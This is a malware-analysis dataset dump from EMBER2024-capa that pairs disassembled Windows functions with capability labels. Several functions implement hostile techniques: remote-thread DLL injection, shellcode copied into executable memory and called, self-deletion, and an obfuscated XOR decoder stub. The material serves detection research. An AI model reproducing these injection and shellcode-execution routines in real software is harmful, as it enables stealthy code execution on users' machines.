joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4024ae
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x4025e1
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x402644
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x402706
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x402679
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x402706
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x4026a3
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x402706
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4026ea
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x402706
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x402802
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x402884
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret
Function at 0x403060
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x409044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40903c]
sub esp, 4
test ebx, ebx
je 0x4030ab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x4030a4
test esi, esi
je 0x4030a4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x403080
mov dword [esp], 0x409044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x403290
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4032e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4033b8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40331e
cmp eax, 4
jne 0x403340
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40332e
cmp edx, 4
je 0x40332e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00403290
Function at 0x408b5a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x408b69
pop dword [ebp - 0x34]
mov eax, 0x8c0fa808
add eax, 0x7430e361
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x3fcb1
push 0
mov eax, 0xfd0ca074
add eax, 0x33541a0
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x5067
xor edi, edi
add edi, eax
mov esi, 0xa6d31b12
sub esi, 0xa68f9b12
add esi, dword [ebp - 0x34]
mov ebx, 0xc93c7803
sub dword [ebp - 0x28], esi
mov edx, dword [esi]
sub dword [ebp - 0xc], eax
sub edx, ebx
mov dword [edi], edx
xor dword [ebp - 0x30], eax
add edi, 0xc07f6a77
add edi, 0x3f80958d
add esi, 0x9172ffb2
sub esi, 0x9172ffae
loop 0x408bbe
add eax, 0xadef7fe8
add eax, 0x5211b487
xor ebx, ebx
add ebx, eax
add eax, 0xb92d0fd6
sub eax, 0xb92d0fd1
mov ecx, 0x400000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x420b5b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x420b9a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x420b9a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x420b9a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x420b9a
cmp dword [ecx + 0x74], 0xe
jbe 0x420b9a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433310
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x43333d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x43333d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0xee45d8
Capabilities:
Encode data using xor

Disassembly:
jmp 0xee45e2
pushal
call 0xee45e8
pop ebp
sub ebp, 0x10
sub ebp, 0xae45d8
jmp 0xee45fe
mov eax, 0xae45d8
add eax, ebp
add eax, 0x4c
mov ecx, 0x5a2
mov edx, 0xb4a853b8
xor byte [eax], dl
inc eax
dec ecx
jne 0xee4615
jmp 0xee4628
xor esi, dword [ebp + 0x33]
xor dword [eax + edi*4 + 0x7939b8b8], eax
inc eax
mov eax, 0x75bbb8b8
add byte [esi + 0x2b8b8b8], bh
nop
mov eax, 0x5a4fb8b8
mov ebx, 0xb4393370
mov eax, 0x7dbbb8b8
call 0x7bdf173b
cwde
mov eax, 0x353b37d0
mov eax, 0xd09c94b9
cmc
mov ecx, 0xbd500d5b
mov eax, 0x9051b8b8
mov eax, 0xecedb8b8
in eax, 0x33
cmp eax, 0xb8b8b8b0
xor ebp, dword [0xb8b8b8b4]
xor esi, dword [0xb8b8b8a8]
jns 0xee46d4
mov edx, 0x7a3bba89
mov esp, 0x4c3db7f1
inc edi
inc edi
inc edi
in eax, 0x7a
mov ah, 0xb8
xor esi, dword [esp + ebx*4]
mov esp, 0xd0b8b8b8
invalid
mov eax, 0xb8f030b7
mov eax, 0xa433deb8
cmp dword [eax], 0x3cb75043
mov byte [0x38b8b8b8], al
inc ebx
push ecx
mov bh, 0x3c
test eax, 0xdeb8b8b8
cmp dword [ebx + 0x47], eax
popfd
mov bh, 0x3c
lodsd eax, dword [esi]
mov eax, 0x51f9b8b8
je 0xee4747
inc edi
inc edi
xchg ecx, eax
hlt
mov edx, 0xbab8b8b8
push 0xffffffffffffffb7
cmp eax, 0xb8b8b8bd
xor ch, byte [esi - 0x48955502]
cmp esp, dword [eax + 0x47]
inc edi
inc edi
mov edx, 0xbd3db76a
mov eax, 0xae32b8b8
invalid
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x10013a4
Capabilities:
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push edi
mov esi, ecx
mov eax, dword [esi + 0x248]
mov edi, 0xfffff758
and eax, edi
or eax, dword [ebp + 8]
push eax
lea eax, [esi + 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x10013e4
mov eax, dword [esi + 0x248]
and eax, edi
or eax, dword [ebp + 8]
mov dword [esi + 0x248], eax
mov al, 1
jmp 0x10013f5
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x10013f3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esi], eax
xor al, al
pop edi
pop esi
pop ebp
ret 8
Function at 0x402ace
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
cmp dword [ebx + 0x14], 0xca
jne 0x402b03
push ebx
call fcn.004069ef
pop eax
cmp dword [ebx + 0x40], 0
je 0x402afc
mov eax, 1
mov dword [ebx + 0x14], 0xcf
jmp 0x402b9e
mov dword [ebx + 0x14], 0xcb
mov eax, dword [ebx + 0x14]
cmp eax, 0xcb
jne 0x402b75
mov eax, dword [ebx + 0x1ec]
cmp dword [eax + 0x10], 0
je 0x402b67
mov eax, dword [ebx + 8]
test eax, eax
je 0x402b24
push ebx
call dword [eax]
pop ecx
mov eax, dword [ebx + 0x1ec]
push ebx
call dword [eax]
pop edx
test eax, eax
je 0x402b9c
cmp eax, 2
je 0x402b67
mov ecx, dword [ebx + 8]
test ecx, ecx
je 0x402b19
cmp eax, 3
sete dl
dec eax
sete al
or eax, edx
test al, 1
je 0x402b19
mov eax, dword [ecx + 4]
mov edx, dword [ecx + 8]
inc eax
mov dword [ecx + 4], eax
cmp eax, edx
jl 0x402b19
add edx, dword [ebx + 0x178]
mov dword [ecx + 8], edx
jmp 0x402b19
mov eax, dword [ebx + 0x90]
mov dword [ebx + 0x98], eax
jmp 0x402b91
cmp eax, 0xcc
je 0x402b91
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, dword [ebx]
push ebx
call dword [eax]
pop eax
mov eax, ebx
mov ebx, dword [ebp - 4]
leave
jmp fcn.00402a00
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x40417f
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
push ecx
push ecx
mov esi, dword [ebp + 8]
mov dword [esi + 4], 0
push esi
call fcn.00406da8
push 0x54
push esi
mov dword [ebp - 0x10], eax
call fcn.00406d50
add esp, 0xc
mov ebx, eax
test eax, eax
jne 0x4041c7
push esi
call fcn.00406daf
mov eax, dword [esi]
mov dword [eax + 0x18], 0
mov dword [eax + 0x14], 0x36
mov eax, dword [esi]
push esi
call dword [eax]
pop eax
pop edx
mov eax, dword [ebp - 0x10]
mov dword [ebx], fcn.00403756
mov dword [ebx + 4], fcn.00403872
mov dword [ebx + 8], fcn.0040390e
mov dword [ebx + 0xc], fcn.004039a3
mov dword [ebx + 0x10], 0x403a49
mov dword [ebx + 0x14], 0x403ab1
mov dword [ebx + 0x18], 0x403b19
mov dword [ebx + 0x1c], 0x403df3
mov dword [ebx + 0x20], 0x403f22
mov dword [ebx + 0x24], fcn.0040404f
mov dword [ebx + 0x28], 0x404143
mov dword [ebx + 0x30], 0x3b9aca00
mov dword [ebx + 0x2c], eax
mov dword [ebx + 0x38], 0
mov dword [ebx + 0x40], 0
mov dword [ebx + 0x34], 0
mov dword [ebx + 0x3c], 0
mov dword [ebx + 0x44], 0
mov dword [ebx + 0x48], 0
mov dword [ebx + 0x4c], 0x54
mov dword [esi + 4], ebx
push str.JPEGMEM
call sub.msvcrt.dll_getenv
pop ecx
mov edx, eax
test eax, eax
je 0x4042aa
lea eax, [ebp - 9]
mov byte [ebp - 9], 0x78
push eax
lea eax, [ebp - 0x10]
push eax
push str._ld_c
push edx
call sub.msvcrt.dll_sscanf
add esp, 0x10
test eax, eax
jle 0x4042aa
mov al, byte [ebp - 9]
cmp al, 0x6d
sete dl
cmp al, 0x4d
sete al
or eax, edx
test al, 1
je 0x4042a0
imul eax, dword [ebp - 0x10], 0x3e8
mov dword [ebp - 0x10], eax
imul eax, dword [ebp - 0x10], 0x3e8
mov dword [ebx + 0x2c], eax
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x424a07
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ecx, dword [eax]
mov ebx, dword [ebp + 8]
xor ebx, ecx
shr ecx, 8
and ebx, 0xff
xor ecx, dword [edx + ebx*4]
mov ebx, dword [eax + 8]
mov dword [eax], ecx
and ecx, 0xff
add ecx, dword [eax + 4]
imul ecx, ecx, 0x8088405
inc ecx
mov dword [eax + 4], ecx
shr ecx, 0x18
xor ecx, ebx
shr ebx, 8
and ecx, 0xff
xor ebx, dword [edx + ecx*4]
mov dword [eax + 8], ebx
mov eax, dword [ebp + 8]
pop ebx
pop ebp
ret
Function at 0x426027
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ecx, dword [eax]
mov ebx, dword [ebp + 8]
xor ebx, ecx
shr ecx, 8
and ebx, 0xff
xor ecx, dword [edx + ebx*4]
mov ebx, dword [eax + 8]
mov dword [eax], ecx
and ecx, 0xff
add ecx, dword [eax + 4]
imul ecx, ecx, 0x8088405
inc ecx
mov dword [eax + 4], ecx
shr ecx, 0x18
xor ecx, ebx
shr ebx, 8
and ecx, 0xff
xor ebx, dword [edx + ecx*4]
mov dword [eax + 8], ebx
mov eax, dword [ebp + 8]
pop ebx
pop ebp
ret
Function at 0x426a95
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
push eax
xor edi, edi
mov esi, dword [ebp + 8]
mov eax, 0xffffff9a
test esi, esi
je 0x426c78
cmp dword [esi + 0x2c], 0
je 0x426c78
mov dword [esi + 0x34], 0
cmp dword [esi + 0x80], 8
jne 0x426b18
cmp dword [esi + 0x84], 0
jne 0x426b18
cmp dword [esi + 0x40], 0
jne 0x426aee
mov eax, esi
call fcn.00426907
lea eax, [esi + 0x88]
mov dword [esi + 0x40], 0x4000
mov dword [esi + 0x3c], eax
lea eax, [esi + 0x30]
mov ebx, dword [esi + 0x44]
push 4
push eax
call fcn.004296fd
mov edi, eax
mov eax, dword [esi + 0x44]
sub eax, ebx
add dword [esi + 0x6c], eax
test edi, edi
pop ebx
pop eax
je 0x426ad1
xor eax, eax
cmp edi, 1
setne al
neg eax
and edi, eax
cmp dword [esi + 0x6c], 0
setne dl
xor eax, eax
test edi, edi
sete al
test edx, eax
je 0x426b37
mov eax, esi
call fcn.00426907
inc eax
jne 0x426b37
or edi, 0xffffffff
cmp dword [esi + 0x80], 8
jne 0x426b5c
cmp dword [esi + 0x84], 0
jne 0x426b74
lea eax, [esi + 0x30]
push eax
call fcn.004293b0
mov dword [esi + 0x68], 0
mov edi, eax
pop ecx
cmp dword [esi + 0x84], 0
jne 0x426b74
mov eax, dword [esi + 0x408c]
mov dword [ebp + 0x10], eax
mov eax, dword [esi + 0x38]
mov dword [ebp + 0xc], eax
mov ebx, dword [esi + 0x40a4]
mov eax, dword [esi + 0x74]
add ebx, dword [esi + 0x44]
add eax, 0x10
mov edx, dword [ebp + 0x10]
push 4
call fcn.004261e0
mov eax, dword [esi + 0x74]
add eax, 0x14
mov edx, ebx
push 4
call fcn.004261e0
pop eax
pop edx
cmp dword [esi + 0x5c], 1
jne 0x426bb7
mov eax, dword [esi + 0x74]
mov edx, 1
add eax, 0x24
push 2
call fcn.004261e0
pop eax
mov eax, dword [esi + 0x74]
mov edx, dword [ebp + 0xc]
add eax, 0x18
push 4
call fcn.004261e0
pop eax
test edi, edi
jne 0x426bdd
mov edx, dword [esi + 0x74]
lea eax, [esi + 0x24]
push dword [esi + 0x78]
call fcn.004260d7
mov edi, eax
pop eax
push dword [esi + 0x74]
call fcn.004785d0
pop eax
test edi, edi
jne 0x426c69
push dword [esi + 0x20]
push dword [esi + 0x1c]
call dword [esi + 0xc]
push 0
or edi, 0xffffffff
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x70]
add eax, 0xe
push eax
push dword [esi + 0x20]
push dword [esi + 0x1c]
call dword [esi + 0x10]
add esp, 0x18
test eax, eax
jne 0x426c51
mov edx, dword [esi + 0x20]
push 4
push dword [ebp + 0x10]
mov eax, esi
call fcn.00426191
pop ecx
mov edi, eax
pop eax
test edi, edi
jne 0x426c51
mov edx, dword [esi + 0x20]
mov eax, esi
push 4
push ebx
call fcn.00426191
mov edi, eax
pop eax
test edi, edi
pop edx
jne 0x426c51
mov edx, dword [esi + 0x20]
push 4
push dword [ebp + 0xc]
mov eax, esi
call fcn.00426191
pop ecx
mov edi, eax
pop ebx
push 0
push dword [ebp - 0x10]
push dword [esi + 0x20]
push dword [esi + 0x1c]
call dword [esi + 0x10]
add esp, 0x10
test eax, eax
je 0x426c69
or edi, 0xffffffff
inc dword [esi + 0x40b0]
mov dword [esi + 0x2c], 0
mov eax, edi
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x42905a
Capabilities:
Hash data with crc32

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push esi
push ebx
mov edx, dword [ebp + 0xc]
test edx, edx
je 0x4292a4
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
mov ecx, eax
test esi, esi
not ecx
jmp 0x429092
test dl, 3
je 0x429094
mov al, byte [edx]
inc edx
xor eax, ecx
movzx eax, al
shr ecx, 8
xor ecx, dword [eax*4 + 0x6a45d0]
dec esi
jne 0x42907a
mov ebx, edx
cmp esi, 0x1f
jbe 0x429247
xor ecx, dword [ebx]
add ebx, 4
movzx eax, ch
movzx edx, cl
shr ecx, 0x10
mov eax, dword [eax*4 + 0x6a4dd0]
xor eax, dword [edx*4 + 0x6a51d0]
movzx edx, cl
xor eax, dword [edx*4 + 0x6a49d0]
mov edx, ecx
shr edx, 8
mov ecx, eax
xor ecx, dword [edx*4 + 0x6a45d0]
xor ecx, dword [ebx]
add ebx, 4
movzx eax, ch
movzx edx, cl
shr ecx, 0x10
mov eax, dword [eax*4 + 0x6a4dd0]
xor eax, dword [edx*4 + 0x6a51d0]
movzx edx, cl
xor eax, dword [edx*4 + 0x6a49d0]
mov edx, ecx
shr edx, 8
mov ecx, eax
xor ecx, dword [edx*4 + 0x6a45d0]
xor ecx, dword [ebx]
add ebx, 4
movzx eax, ch
movzx edx, cl
shr ecx, 0x10
mov eax, dword [eax*4 + 0x6a4dd0]
xor eax, dword [edx*4 + 0x6a51d0]
movzx edx, cl
xor eax, dword [edx*4 + 0x6a49d0]
mov edx, ecx
shr edx, 8
mov ecx, eax
xor ecx, dword [edx*4 + 0x6a45d0]
xor ecx, dword [ebx]
add ebx, 4
movzx eax, ch
movzx edx, cl
shr ecx, 0x10
mov eax, dword [eax*4 + 0x6a4dd0]
xor eax, dword [edx*4 + 0x6a51d0]
movzx edx, cl
xor eax, dword [edx*4 + 0x6a49d0]
mov edx, ecx
shr edx, 8
mov ecx, eax
xor ecx, dword [edx*4 + 0x6a45d0]
xor ecx, dword [ebx]
add ebx, 4
movzx eax, ch
movzx edx, cl
shr ecx, 0x10
mov eax, dword [eax*4 + 0x6a4dd0]
xor eax, dword [edx*4 + 0x6a51d0]
movzx edx, cl
xor eax, dword [edx*4 + 0x6a49d0]
mov edx, ecx
shr edx, 8
mov ecx, eax
xor ecx, dword [edx*4 + 0x6a45d0]
xor ecx, dword [ebx]
add ebx, 4
movzx eax, ch
movzx edx, cl
shr ecx, 0x10
mov eax, dword [eax*4 + 0x6a4dd0]
xor eax, dword [edx*4 + 0x6a51d0]
movzx edx, cl
xor eax, dword [edx*4 + 0x6a49d0]
mov edx, ecx
shr edx, 8
mov ecx, eax
xor ecx, dword [edx*4 + 0x6a45d0]
xor ecx, dword [ebx]
add ebx, 4
movzx eax, ch
movzx edx, cl
shr ecx, 0x10
mov eax, dword [eax*4 + 0x6a4dd0]
xor eax, dword [edx*4 + 0x6a51d0]
movzx edx, cl
xor eax, dword [edx*4 + 0x6a49d0]
mov edx, ecx
shr edx, 8
mov ecx, eax
xor ecx, dword [edx*4 + 0x6a45d0]
xor ecx, dword [ebx]
add ebx, 4
movzx eax, ch
movzx edx, cl
mov eax, dword [eax*4 + 0x6a4dd0]
xor eax, dword [edx*4 + 0x6a51d0]
sub esi, 0x20
shr ecx, 0x10
movzx edx, cl
xor eax, dword [edx*4 + 0x6a49d0]
mov edx, ecx
shr edx, 8
mov ecx, eax
xor ecx, dword [edx*4 + 0x6a45d0]
jmp 0x429096
cmp esi, 3
jbe 0x429285
xor ecx, dword [ebx]
sub esi, 4
movzx eax, ch
movzx edx, cl
mov eax, dword [eax*4 + 0x6a4dd0]
add ebx, 4
shr ecx, 0x10
xor eax, dword [edx*4 + 0x6a51d0]
movzx edx, cl
xor eax, dword [edx*4 + 0x6a49d0]
mov edx, ecx
shr edx, 8
mov ecx, eax
xor ecx, dword [edx*4 + 0x6a45d0]
jmp 0x429247
mov edx, ebx
test esi, esi
je 0x4292a0
mov al, byte [edx]
inc edx
xor eax, ecx
movzx eax, al
shr ecx, 8
xor ecx, dword [eax*4 + 0x6a45d0]
dec esi
jmp 0x429289
mov eax, ecx
not eax
pop ebx
pop esi
pop ebp
ret
Function at 0x42a008
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
mov edi, dword [ebp + 8]
test edi, edi
je 0x42a027
mov ebx, dword [edi + 0x1c]
test ebx, ebx
je 0x42a027
cmp dword [edi + 0x20], 0
je 0x42a027
cmp dword [edi + 0x24], 0
jne 0x42a031
mov eax, 0xfffffffe
jmp 0x42a131
mov dword [edi + 0x2c], 2
mov eax, dword [ebx + 8]
mov dword [ebx + 0x10], eax
mov eax, dword [ebx + 0x18]
mov dword [edi + 0x14], 0
mov dword [edi + 8], 0
mov dword [edi + 0x18], 0
mov dword [ebx + 0x14], 0
test eax, eax
jns 0x42a066
neg eax
mov dword [ebx + 0x18], eax
mov edx, dword [ebx + 0x18]
cmp edx, 1
sbb eax, eax
and eax, 0x47
add eax, 0x2a
cmp edx, 2
mov dword [ebx + 4], eax
jne 0x42a089
push 0
push 0
push 0
call fcn.0042905a
jmp 0x42a094
push 0
push 0
push 0
call fcn.0042b970
add esp, 0xc
mov dword [edi + 0x30], eax
mov dword [ebx + 0x28], 0
push ebx
call fcn.0042bd2f
pop edi
mov ecx, dword [ebx + 0x4c]
mov eax, dword [ebx + 0x2c]
mov edi, dword [ebx + 0x44]
add eax, eax
cld
mov dword [ebx + 0x3c], eax
mov word [edi + ecx*2 - 2], 0
xor eax, eax
lea ecx, [ecx + ecx - 2]
rep stosb byte es:[edi], al
imul edx, dword [ebx + 0x84], 0xc
mov dword [ebx + 0x6c], 0
mov dword [ebx + 0x5c], 0
movzx eax, word [edx + 0x6a6612]
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0
movzx eax, word [edx + 0x6a6610]
mov dword [ebx + 0x8c], eax
mov dword [ebx + 0x78], 2
movzx eax, word [edx + 0x6a6614]
mov dword [ebx + 0x90], eax
mov dword [ebx + 0x60], 2
movzx eax, word [edx + 0x6a6616]
mov dword [ebx + 0x68], 0
mov dword [ebx + 0x7c], eax
mov dword [ebx + 0x48], 0
xor eax, eax
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret